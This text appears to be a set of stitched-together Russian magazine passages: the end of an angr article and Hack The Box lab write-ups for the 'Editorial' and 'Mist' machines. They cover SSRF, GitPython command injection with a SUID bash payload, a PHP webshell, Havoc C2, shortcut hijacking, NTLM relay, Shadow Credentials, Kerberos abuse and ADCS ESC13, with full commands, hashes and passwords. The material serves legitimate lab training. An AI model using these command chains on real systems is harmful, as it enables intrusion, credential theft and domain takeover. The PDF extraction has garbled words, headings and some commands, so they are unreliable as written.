мы наш ли в прог рамме сла бую точ ку, он поможет подоб рать дан ные,
без которых до нее не доберет ся ни один фаз зер.

Мы поз накоми лись лишь с некото рыми воз можнос тями Angr. В сле дующей
статье будет мно жес тво при меров, полез ных для поис ка и экс плу ата ции най- 
ден ных уяз вимос тей.

https://github.com/angr/vex/blob/master/priv/guest_x86_defs.h
https://github.com/angr/angr/tree/master/angr/exploration_techniques
https://github.com/Z3Prover/z3
https://github.com/angr/angr/blob/master/angr/procedures/libc/puts.py
https://crackmes.one/crackme/6613d4a5cddae72ae250c34c
https://binary.ninja/
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ВЗЛОМ

Се год ня я покажу при мер под делки зап- 
росов на сто роне сер вера (SSRF). Мы
получим дос туп к внут рянке сай та и извле- 
чем кри тичес ки важ ные дан ные, затем най- 
дем дан ные тех ничес кой учет ной записи
и повысим при виле гии в Linux через уяз- 
вимость в биб лиоте ке GitPython.

На ша цель — получе ние прав супер поль зовате ля на машине Editorial с учеб- 
ной пло щад ки . Уро вень задания — лег кий.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.20    editorial.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Nginx 1.18.0.•

Идем смот реть, что там на веб-сер вере.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те находим фор му для отправ ки информа ции о кни ге.

Со дер жимое стра ницы Upload

В фор ме есть поля для URL и заг рузки фай ла. Если сер вер будет обра щать ся
к ука зан ному нами URL, обя затель но нуж но про верить, нет ли тут уяз вимос ти
SSRF. Давай выпол ним зап рос на свой сер вер, для чего у себя запус тим лис- 
тенер:

nc -nlvp 8000 

И ука жем адрес нашей машины в поле URL. Осталь ные поля для начала
запол ним тес товыми дан ными.

Со дер жимое стра ницы Upload

Пос ле отправ ки зап роса стра ница обновля ется, но в логах лис тенера пус то.
Прос матри ваем зап рос в  и не находим там ука зан ного URL.Burp History

Зап рос в Burp History

Вер немся к фор ме на сай те, сно ва запол ним ее дан ными, но в этот раз
не будем их отправ лять, а наж мем кноп ку Preview. В этот момент на лис тенер
при ходит зап рос от сер вера.

Зап рос на сер вер

Ло ги лис тенера

А теперь ради экспе римен та в поле URL вмес то сво его лис тенера ука зыва- 
ем 127.0.0.1. В ответ получа ем какой-то путь.

Зап рос и ответ сер вера в Burp History

Уяз вимость SSRF на сай те явно есть, а зна чит, попыта емся ее рас кру тить.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
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В GITPYTHON, ЧТОБЫ ЗАХВАТИТЬ
СЕРВЕР

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Так как мы можем получить дос туп к внут ренним ресур сам, поп робу ем най ти
еще какие-нибудь внут ренние сер висы. Для это го проб рутим пор ты в отправ- 
ляемом URL через .Burp Intruder

Burp Intruder — вклад ка Positions

Burp Intruder — вклад ка Payloads

Пос ле окон чания перебо ра филь тру ем резуль таты по раз меру отве та. Видим,
что один из отве тов отли чает ся, а зна чит, сер вис работа ет на пор те 5000.

Burp Intruder — резуль тат перебо ра

Ком бинаци ей кла виш Ctrl-R пересы лаем зап рос в  и про веря- 

ем ответ. В отве те получа ем уже дру гой путь, на этот раз файл в катало ге
с заг рузка ми.

Burp Repeater

От вет сер вера

Пе рехо дим по получен ному URI в бра узе ре и в исто рии зап росов видим, что
мы можем пос мотреть содер жимое фай ла.

От вет сер вера

Дан ные пред став лены в фор мате JSON, поэто му копиру ем их в файл и прос- 
матри ваем с помощью ути литы .jq

Со дер жимое ска чан ного фай ла

Файл рас кры вает нам нес коль ко эндпо интов API. По опи санию каж дого API
мож но понять, за что отве чает фун кция. Получим сооб щения от авто ров,
для чего через SSRF выпол ним зап рос к такому эндпо инту:

http://127.0.0.1:5000/api/latest/metadata/messages/authors 

От вет сер вера

Сно ва ска чива ем файл и кра сиво выводим через .jq

Со дер жимое ска чан ного фай ла

В боль шом сооб щении от авто ра рас кры вают ся учет ные дан ные записи .
Успешно под клю чаем ся от ее име ни к сер веру по SSH и получа ем пер вый
флаг.

dev

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на уда лен ный хост скрипт для Linux, дадим пра во на выпол нение
и нач нем ска ниро вание. Затем смот рим, что инте рес ного он нашел.

В катало ге  есть два про екта:  и ./opt apps internal_apps

Со дер жимое катало га /opt

Из фай ла с нас трой ками веб-сер вера Nginx узна ём о Unix-сокете 

 в про екте .

editorial.
sock /opt/apps

Кон фиги PHP

В катало ге  есть репози торий Git./home/dev/apps

Най ден ные фай лы .git

Для удоб ного ана лиза Git-репози тория заар хивиру ем каталог 
 и ска чаем его на свою машину.

/home/dev/
apps

zip -r apps.zip apps 

scp dev@10.10.11.20:/home/dev/apps.zip ./ 

За тем я открыл каталог в Visual Studio Code и пос мотрел исто рию ком митов.

Ис тория ком митов в репози тории apps

В одном из ком митов есть все го одно изме нение: в сооб щении вмес то учет- 
ных дан ных записи  записа ны учет ные дан ные для поль зовате ля .prod dev

Из менения в фай ле

Ис поль зуем учет ную запись  для сме ны кон тек ста безопас ности

и получа ем сес сию нового поль зовате ля.

prod

Сес сия поль зовате ля prod

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Раз ведку мы уже про води ли, поэто му при изме нении кон тек ста сно ва все
про верять не нуж но. Пос мотрим толь ко самое важ ное. Одно из мест, куда
сто ит заг лянуть пер вым делом, — это файл sudoers.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ки sudoers

Та ким обра зом, мож но выпол нить скрипт 

 от име ни поль зовате ля root.

При этом скрип ту мож но передать какие-то парамет ры. Прос мотрим его
исходный код.

/opt/internal_apps/
clone_changes/clone_prod_change.py

Со дер жимое фай ла clone_prod_change.py

В самом коде ничего инте рес ного най ти не уда лось. Одна ко есть импорт
из пакета . Час то в таких слу чаях мож но обна ружить, что исполь зуют ся

ста рые биб лиоте ки, в которых есть извес тные уяз вимос ти. Давай пос мотрим,
какая биб лиоте ка здесь.

git

Оп ределе ние биб лиоте ки

Google выводит нас на биб лиоте ку GitPython. Поищем экс пло иты для нее.

По иск экс пло итов в Google

Вер сии GitPython мень ше 3.1.35 уяз вимы к  — внед рению
кода за счет внеш него вызова Git без дос таточ ной очис тки вход ных аргу мен- 
тов. Про верим, какая вер сия биб лиоте ки исполь зует ся на сер вере.

CVE-2022-24439

Вер сии pip-пакетов

На сер вере — GitPython 3.1.29, а зна чит, мы можем внед рить свой код,
который будет выпол нен в при виле гиро ван ном кон тек сте. Как это сде лать,
мож но .под смот реть на GitHub

Опи сание уяз вимос ти

В качес тве выпол няемо го кода будем исполь зовать скрипт , который

уста новит фай лу коман дной обо лоч ки  бит SUID.

exp.sh
/bin/bash

#!/bin/bash
chmod u+s /bin/bash 

Справка: бит SUID
Ког да у фай ла уста нов лен атри бут setuid (S-атри бут), обыч ный поль зователь,
запус кающий этот файл, получа ет повыше ние прав до поль зовате ля — вла- 
дель ца фай ла в рам ках запущен ного про цес са. Пос ле получе ния повышен ных
прав при ложе ние может выпол нять задачи, которые недос тупны обыч ному
поль зовате лю. Из-за воз можнос ти сос тояния гон ки мно гие опе раци онные
сис темы игно риру ют S-атри бут, уста нов ленный shell-скрип там.

Экс плу ати руем уяз вимость и пос ле кучи оши бок про веря ем пра ва на бинар- 
ник bash.

sudo /usr/bin/python3 /opt/internal_apps/clone_changes/clone_prod_
change.py "ext::sh -c '/tmp/exp.sh'"

Экс плу ата ция уяз вимос ти

Флаг рута

Все получи лось, машина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://nvd.nist.gov/vuln/detail/CVE-2022-24439
https://github.com/gitpython-developers/GitPython/issues/1515
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ВЗЛОМ

Се год ня я покажу ряд атак ESC13 на служ бу
сер тифика ции Active Directory, в резуль тате
которых мы зах ватим домен Windows.
На пути к это му при дет ся решить еще нес- 
коль ко проб лем: получить сес сию на хос те
через уяз вимый веб-сер вис, под менить
ярлык, вскрыть хеш пароля при помощи
UnPAC the hash, исполь зовать при нуди тель- 
ную аутен тифика цию и ата ку Shadow
Credentials и при менить дру гие тех ники атак
на AD.

На ша цель — получе ние прав супер поль зовате ля на машине Mist с учеб ной
пло щад ки . Уро вень слож ности задания — «безум ный».Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.17    mist.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер обна ружил все го один откры тый порт: 80 — веб-сер вер Apache
2.4.52. На сай те нас ожи дает сис тема Pluck 4.7.18.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

При попыт ке перей ти к управле нию в сис теме нас встре тит фор ма аутен-
тифика ции.

Фор ма аутен тифика ции

Пер вым делом сто ит про верить, есть ли для обна ружен ной CMS готовые экс- 
пло иты. Идем за ними пря миком в Google.

По иск экс пло итов в Google

Об наружи ваем, что в этой вер сии Pluck есть воз можность раз местить
веб-шелл через заг рузку модуля и тем самым получить RCE. Но проб лема
в том, что спер ва нуж но получить дос туп к управле нию веб-при ложе нием.

Так как вер сия при ложе ния не самая новая, перехо дим к поис ку дру гих
экс пло итов. В модуле  в фун кции получе ния изоб ражений есть 

, что поз волит нам получить содер жимое любого
фай ла.

albums уяз- 

вимость обхо да катало га

Опи сание уяз вимос ти

Но при мер из PoC не сра ботал, зап рос был заб локиро ван.

Со обще ние о бло киров ке

Пос мотрим, какие еще есть инте рес ные модули и фай лы. Для это го прос- 
каниру ем катало ги с помощью . При запус ке исполь зуем сле- 
дующие парамет ры:

feroxbuster

 — URL;• -u

 — глу бина ска ниро вания.• -d

 2 feroxbuster -u http://mist.htb/ -d

Ре зуль тат ска ниро вания катало гов

Прой дем ся по най ден ным катало гам и заметим, что дирек тория 

 не индекси рует ся и мы можем получить дос туп
ко всем фай лам внут ри нее.

/data/
settings/modules/albums

Со дер жимое катало га albums

Те перь исполь зуем най ден ную ранее уяз вимость LFI для чте ния содер жимого
фай ла .admin_backup.php

Со дер жимое фай ла admin_backup.php

В фай ле есть какой-то хеш, поп робу ем его подоб рать.

ÒÎ×ÊÀ ÎÏÎÐÛ

Бру тить хеш будем с помощью . У него есть воз можность авто мати- 
чес кого опре деле ния типа хеша, поэто му переда ем ему толь ко хеш и сло варь
для перебо ра. Но под этот фор мат под ходит нес коль ко алго рит мов, о чем
ути лита нам и сооб щит.

hashcat

hashcat 'c81dd.....ce81e' rockyou.txt 

Вы вод hashcat

Из пред став ленных алго рит мов наибо лее популя рен SHA2-512. При пов- 
торном запус ке hashcat добавим номер алго рит ма в парамет ре .-m

hashcat -m 1700 'c81dd.....ce81e' rockyou.txt 

Ре зуль тат под бора пароля

С этим паролем мож но авто ризо вать ся в сис теме Pluck и поп робовать
получить RCE через заг рузку собс твен ного модуля.

Глав ная стра ница Pluck

Пе рехо дим на стра ницу 
 и заг ружа ем архив , который содер жит

. Даем ему наз вание . Затем перехо дим к стра нице

заг ружен ного модуля:

http://10.10.11.17/admin.php?
action=installmodule pwn123.zip
p0wny-shell pwn123.php

http://10.10.11.17/data/modules/pwn123/pwn123.php 

И нас встре чает PHP-шелл.

Стра ница p0wny-shell

ÏÐÎÄÂÈÆÅÍÈÅ

Так как через веб-шелл работать неудоб но, я вос поль зовал ся 
.

C2-фрей мвор- 
ком Havoc

Сес сия в C2 Havoc

Сле дующим шагом нам нуж но соб рать информа цию. Я буду исполь зовать
для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост исполня емый файл для Windows и запус тим ска ниро вание.
Вывод ути литы будем сох ранять в файл.

WinPEAS.exe > wp.txt

Спус тя нес коль ко минут коман дой  ска чива ем файл с соб ранной
информа цией и прос матри ваем его на сво ем компь юте ре. Там будет мно го
все го, поп робу ем выделить толь ко то, что нам поможет в прод вижении.

download

В сис тему выпол нили вход три поль зовате ля.

Спи сок залоги нен ных поль зовате лей

В кеше DNS находим запись о кон трол лере домена dc01 (192.168.100.100).

Кеш DNS

На хос те есть дос тупные сетевые ресур сы.

Об щие сетевые ресур сы

Боль ше все го нас дол жен заин тересо вать общий каталог 

, так как это не дефол тная нас трой ка. Прос мотрим содер жимое

этой дирек тории.

C:\Common 
Applications

Со дер жимое катало га C:\Common Applications

В общем катало ге — нес коль ко ярлы ков, а у нас есть пра во на запись. Стан- 
дар тная прак тика в такой ситу ации — поменять ярлык так, что бы он выпол нял
нуж ные нам коман ды, нап ример запуск аген та Havoc.

powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = 
$objShell.CreateShortcut('C:\Common Applications\Calculator.lnk') ; 
$lnk.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"

powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = 
$objShell.CreateShortcut('C:\Common Applications\Notepad.lnk') ; $lnk
.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"

powershell "$objShell = New-Object -ComObject WScript.Shell ; $lnk = 
$objShell.CreateShortcut('C:\Common Applications\Wordpad.lnk') ; $lnk
.TargetPath = 'C:\xampp\htdocs\files\a.exe' ; $lnk.Save()"

И спус тя пару минут получа ем сес сию от име ни поль зовате ля
Brandon.Keywarp.

Ин форма ция о сес сии

Ïîëüçîâàòåëü Brandon.Keywarp
Те перь, ког да мы получи ли сес сию домен ного поль зовате ля, мож но соб рать
информа цию в домене. Луч ше все го для это го под ходит инс тру мент

. Запус кать бинари .NET в памяти аген та Havoc мож но коман дой

.

BloodHound

dotnet inline-execute

dotnet inline-execute SharpHound.exe -c All --domaincontroller 192.
168.100.100

Пос тро ив граф BloodHound от текуще го поль зовате ля, мож но най ти в сети
центр сер тифика ции Active Directory.

Граф BloodHound

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://www.exploit-db.com/exploits/51592
https://github.com/epi052/feroxbuster
https://github.com/flozz/p0wny-shell
https://github.com/HavocFramework/Havoc
https://github.com/carlospolop/PEASS-ng
https://github.com/SpecterOps/BloodHound


HTB MIST
ИСПОЛЬЗУЕМ ТЕХНИКУ ESC13 ДЛЯ

ЗАХВАТА ДОМЕНА ACTIVE
DIRECTORY

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Так как в домене есть ADCS, а сес сию поль зовате ля мы получи ли без исполь- 
зования каких-либо учет ных дан ных, нам сто ит задей ство вать тех нику UnPAC
the hash, что бы выяс нить NTLM-хеш пароля поль зовате ля. Пер вом делом
запус тим ути литу , что бы зап росить сер тификат поль зовате ля.Certify

dotnet inline-execute /home/ralf/tmp/SharpCollection/last/Certify.exe
request /ca:DC01.mist.htb\mist-DC01-CA /template:User

По луче ние сер тифика та поль зовате ля

Сер тификат пред став лен в фор мате PEM. Копиру ем его на свою машину
и кон верти руем в фор мат PFX.

  
  

openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced 
Cryptographic Provider v1.0" -export -out cert.pfx 

А теперь с помощью  по сер тифика ту поль зовате ля зап рашива ем
билет TGT и извле каем из него NTLM-хеш пароля поль зовате ля (параметр

). Сер тификат необ ходимо закоди ровать

в Base64 и передать в парамет ре .

Rubeus

getcredentials
certificate

.\Rubeus.exe asktgt /user:brandon.keywarp /certificate:..... /
getcredentials /show /nowrap 

По луче ние NTLM-хеша

Ва лиди ровать получен ную учет ку мож но с помощью . Так как тра фик

необ ходимо тун нелиро вать, пред варитель но в аген те Havoc коман дой 

 запус тим сер вер Socks5. В фай ле  про- 
пишем нас трой ку . Так с помощью proxychains мож но

тун нелиро вать тра фик через агент Havoc во внут реннюю сеть.

NetExec

socks 
add 1080 /etc/proxychains.conf

socks5 127.0.0.1 1080

proxychains -q nxc smb 192.168.100.101 -u brandon.keywarp -H 
DB03D6A77A2205BC1D07082740626CC9 

Про вер ка учет ных дан ных

За тем таким же обра зом про верим под пись LDAP в домене. В этом поможет
модуль  для коман ды .ldap-checker ldap

proxychains -q nxc ldap dc01.mist.htb -u brandon.keywarp -H 
DB03D6A77A2205BC1D07082740626CC9 -M ldap-checker 

Про вер ка под писи LDAP

Под пись LDAP в домене не тре бует ся, а зна чит, будем про верять методы
при нуди тель ной аутен тифика ции для потен циаль ного выпол нения рет ран сля- 
цион ных атак. Запус каем  и исполь зуем  для при нуди- 

тель ной аутен тифика ции с сер вера MS01 на нашем лис тенере.

Responder PetitPotam

  
 

 all 

proxychains -q python3 PetitPotam.py -u 'brandon.keywarp' -d mist.
htb -hashes ':db03d6a77a2205bc1d07082740626cc9' 10.10.14.8 192.168.
100.101 -pipe

По лучен ный NetNTLMv2-хеш в рес понде ре

На Responder при лета ет хеш, а зна чит, сер вер уяз вим к PetitPotam.

NTLM Relay
Пер вая идея — это релей хеша на LDAP для выпол нения ShadowCreds и ком- 
про мета ции хос та. Но для это го хеш дол жен быть не с SMB, так как там
исполь зует ся под пись, а с HTTP. Для это го с помощью ути литы

 акти виру ем на хос те WebDAV. Про верить работу

WebDAV мож но через .

SharpStartWebclient

GetWebDAVStatus

shell GetWebDAVStatus.exe 192.168.100.101

shell SharpStartWebclient.exe

Ак тивация WebDAV

Те перь для экс плу ата ции PetitPotam c HTTP необ ходимо сде лать надеж ный
тун нель. Для это го я исполь зовал тул зу . Заг ружа ем архив на уда лен ный

хост и рас паковы ваем с помощью PowerShell.

Socat

Expand-Archive -Path C:\xampp\htdocs\files\socat.zip -DestinationPath
C:\xampp\htdocs\files\

Бу дем тун нелиро вать весь тра фик с пор та 5432 сер вера
MS01 на порт 80 нашей ата кующей машины.

shell socat.exe tcp-listen:5432,reuseaddr,fork tcp:10.10.14.8:80

Поч ти все готово для ата ки, оста лось нас тро ить редирек тор .

Для экс плу ата ции ShadowCreds будем исполь зовать  поль- 
зовате ля fortra.

ntlmrelayx

форк impacket

pip3 install pyOpenSSL==24.0.0 
 

 
proxychains -q ntlmrelayx.py -t ldaps://dc01.mist.htb -smb2support
-domain mist.htb --http-port 8888 --no-smb -i

Те перь сно ва запус каем PetitPotam и в качес тве машины для аутен тифика ции
ука зыва ем .MS01@5432

  
   all 

 

proxychains -q python3 PetitPotam.py -u 'brandon.keywarp' -d mist.
htb -hashes ':db03d6a77a2205bc1d07082740626cc9' -pipe 'MS01@5432/
ralf' '192.168.100.101'

Сер вер прой дет аутен тифика цию по HTTP, тра фик будет тун нелиро ван через
Socat на редирек тор ntlmrelayx, отку да через Socks тра фик Havoc будет тун- 
нелиро ван служ бе LDAP на кон трол лере домена.

Вы пол нение релей-ата ки с HTTP на LDAP

Ата ка про веде на успешно, можем под клю чить ся к инте рак тивно му LDAP-шел-
лу и исполь зовать тех нику ShadowCreds для фор мирова ния сер тифика та,
который мы повесим на учет ную запись машины MS01.

nc 127.0.0.1 11000 

clear_shadow_creds MS01$
set_shadow_creds MS01$

Вы пол нение ShadowCreds

Те перь сни мем пароль с сер тифика та и через тех нику UnPAC the hash по сер- 
тифика ту машин ной учет ной записи получим ее NTLM-хеш.

    
 

certipy cert -export -pfx '87A0bfVH.pfx' -password
'oNOsPXtyUUkIkyCHgY0b' -out ms01.pfx 

 
 

proxychains -q certipy auth -pfx ms01.pfx -domain mist.htb -username
'MS01$' -dc-ip 192.168.100.100 -ns 192.168.100.100 

Хеш пароля поль зовате ля

Ис поль зуя NTLM-хеш машин ной учет ной записи, мы можем при помощи инс- 
тру мен та  зап росить для нее билет TGT, а затем c этим билетом через

рас ширение S4U получить билет TGS для любой служ бы, работа ющей от име- 
ни машин ной учет ной записи, на имя любого поль зовате ля домена. Будем
получать тикет адми нис тра тора для служ бы CIFS.

Rubeus

dotnet inline-execute Rubeus.exe asktgt /nowrap /user:ms01$ /domain:
mist.htb /rc4:6c8836240c39914164ee3d85fe4bf352 /nowrap

По луче ние TGT для MS01$

dotnet inline-execute Rubeus.exe s4u /self /impersonateuser:
Administrator /altservice:"cifs/ms01.mist.htb" /ticket:doIFLDC.....
C5odGI= /nowrap

По луче ние TGS для Administrator

Бла года ря тех нике AnySPN мы можем исполь зовать получен ный TGS для дос- 
тупа к любой служ бе на хос те, а не толь ко CIFS. Ути литой 

скон верти руем его на локаль ной машине в фор мат ccache и сдам пим учет- 
ные дан ные с хос та MS01.

RubeusToCcache

python3 rubeustoccache.py 'doIF2.....5odGI=' ms01.kirbi ms01.ccache 

 
KRB5CCNAME=/ms01.ccache proxychains -q impacket-secretsdump 'mist.
htb/Administrator'@ms01.mist.htb -k -no-pass

Со дер жимое базы SAM на хос те MS01

С хешем локаль ного адми нис тра тора получа ем управле ние через служ бу
WinRM и чита ем пер вый флаг.

proxychains -q evil-winrm -i 192.168.100.101 -u Administrator -H 
711e6a685af1c31c4029c3c7681dd97b 

Флаг поль зовате ля

Ïîëüçîâàòåëü OP_SHARON.MULLARD
За пус каем на хос те агент Havoc от име ни адми нис тра тора и прос матри ваем
фай ловую сис тему. В пап ке Users находим домаш ний каталог поль зовате ля
Sharon.Mullard.

Со дер жимое катало га C:\Users

Заг лянув туда, находим в пап ке Documents базы менед жера паролей
KeePass, а так же две кар тинки в катало ге My Pictures.

Со дер жимое катало га Documents

Со дер жимое катало га My Pictures

Ска чива ем фай лы на локаль ную машину. На пер вой кар тинке изоб ражены
обыч ные коты, а вот на вто рой скрин шот с TODO, зап росы в Google и часть
клю ча.

Ска чан ные изоб ражения

Ви димо, изоб ражение с котами тоже может быть клю чевой информа цией
для базы KeePass. При этом на скрин шоте с паролем мы можем узнать пер- 
вые 14 сим волов, а над сло вом Output видим дли ну пол ного пароля — 15.
Поп робу ем подоб рать единс твен ный неиз вес тный сим вол. Пер вым делом c
помощью  извле чем хеш пароля, а затем по мас ке под берем

недос тающий сим вол.

keepass2john

По луче ние хеша

 3 hashcat -a -m 13400 keepass_hash.txt 'UA7cpa[#1!_*ZX?'

Па роль для базы KeePass

От кры ваем базу и получа ем пароль еще одно го поль зовате ля домена.

Со дер жимое базы KeePass

Из базы BloodHound узна ём, что у поль зовате ля есть нес коль ко учет ных
записей. Судя по под сказ ке  из KeePass, ско рее все го,

пароль име ет отно шение к акка унту .

operative account
OP_SHARON.MULLARD

По иск по базе BloodHound

Для точ ности валиди руем пароль с помощью .NetExec

 
  

proxychains -q nxc smb 192.168.100.101 -d mist.htb -u 'OP_SHARON.
MULLARD' -p 'ImTiredOfThisJob:('

 
  

proxychains -q nxc smb 192.168.100.101 -d mist.htb -u 'SHARON.
MULLARD' -p 'ImTiredOfThisJob:('

Про вер ка учет ных дан ных

Та ким обра зом, мы ком про мети руем еще одну учет ную запись.

Ãðóïïà Certificate Managers
Воз вра щаем ся к BloodHound и перес тра иваем граф от поль зовате ля

.OP_SHARON.MULLARD
Поль зователь вхо дит в груп пу OPERATIVES, которая име ет пра во чте ния

пароля управля емой учет ной записи .SVC_CA$

Граф BloodHound

Продолжение статьи →

https://github.com/GhostPack/Certify
https://github.com/GhostPack/Rubeus
https://github.com/Pennyw0rth/NetExec
https://github.com/SpiderLabs/Responder
https://github.com/topotam/PetitPotam
https://github.com/eversinc33/SharpStartWebclient
https://github.com/G0ldenGunSec/GetWebDAVStatus
https://github.com/tech128/socat-1.7.3.0-windows
https://github.com/fortra/impacket/pull/1402
https://github.com/GhostPack/Rubeus
https://github.com/SolomonSklash/RubeusToCcache


HTB MIST
ИСПОЛЬЗУЕМ ТЕХНИКУ ESC13 ДЛЯ

ЗАХВАТА ДОМЕНА ACTIVE
DIRECTORY

ВЗЛОМ  НАЧАЛО СТАТЬИ←

, в свою оче редь, вхо дит в груп пу Certicate Services. Чле ны этой
груп пы могут зап рашивать сер тифика ты для шаб лона

 и име ют пра во  на учет ную

запись .

SVC_CA$

ManagerAuthentication AddKeyCredentialLink
Svc_CaBackup

Граф BloodHound

 может лишь зап росить сер тификат по тому же шаб лону

.

Svc_CaBackup
ManagerAuthentication

Граф BloodHound

Вер немся к управля емой учет ной записи .SVC_CA$

Справка: управляемые учетные записи
Уп равля емые учет ные записи (MSA) — это спе циаль ный тип учет ных записей
Active Directory, которые мож но исполь зовать для безопас ного запус ка служб,
при ложе ний и заданий пла ниров щика. Основная их идея в том, что паролем
таких учет ных записей пол ностью управля ет Active Directory. Для них авто- 
мати чес ки генери рует ся слож ный пароль дли ной 240 сим волов, который
меня ется авто мати чес ки каж дые 30 дней. Для аутен тифика ции исполь зует ся
толь ко Kerberos, так как инте рак тивный вход невоз можен. Это свя зано с тем,
что пароль не известен никому и не хра нит ся в локаль ной сис теме, поэто му
его нель зя извлечь из сис темно го про цес са LSASS с помощью Mimikatz.

По лучить хеши паролей MSA мож но с помощью модуля  для .gmsa NetExec

 
   

proxychains -q nxc ldap dc01.mist.htb -d mist.htb -u 'OP_SHARON.
MULLARD' -p 'ImTiredOfThisJob:(' --gmsa

Хеш пароля svc_ca$

Те перь, вос поль зовав шись пра вом  на учет ную

запись , про ведем ата ку Shadow Credentials. Это поз волит нам

получить хеш пароля учет ной записи .

AddKeyCredentialLink
Svc_CaBackup

Svc_CaBackup

  proxychains -q certipy shadow auto -username 'svc_ca$@mist.htb'
-hashes :510b6e5c88b2282cea97e68d5185b4a4 -account svc_cabackup 
-dc-ip 192.168.100.100 

Экс плу ата ция ShadowCreds

Та ким обра зом, мы ском про мети рова ли еще две учет ные записи.

ESC13
Те перь пос тро им граф от груп пы Certicate Services и уви дим инте рес ные
свя зи. Чле ны этой груп пы могут получить сер тификат по шаб лону

. Этот шаб лон нас тро ен с помощью полити ки

, свя зан ной через OID Group Link с груп пой Certicate
Managers.

ManagerAuthentication
ManagerIssuance

Граф BloodHound

Груп па Certicate Managers вхо дит в дру гую груп пу — CA Backup, чле ны
которой могут получить сер тификат по шаб лону .

Это шаб лон нас тро ен с помощью полити ки Backup Policy, свя зан ной через
OID Group Link с груп пой Service Accounts.

BackupSvcAuthentication

Граф BloodHound

Граф BloodHound

Тех ника экс плу ата ции, извес тная как ADCS ESC13, поз воля ет зло умыш ленни- 
ку получить дос туп к ресур сам кор поратив ной сети при опре делен ных усло- 
виях. У поль зовате ля или компь юте ра дол жны быть пра ва на регис тра цию
сер тифика та по шаб лону, который нас тро ен с исполь зовани ем полити ки
выдачи, содер жащей OID Group Link — иден тифика тор, свя зыва ющий сер- 
тификат с кон крет ной груп пой поль зовате лей.

Ес ли поль зователь или компь ютер, обла дающий такими пра вами, регис-
три рует сер тификат по это му шаб лону, то сер тификат будет свя зывать его
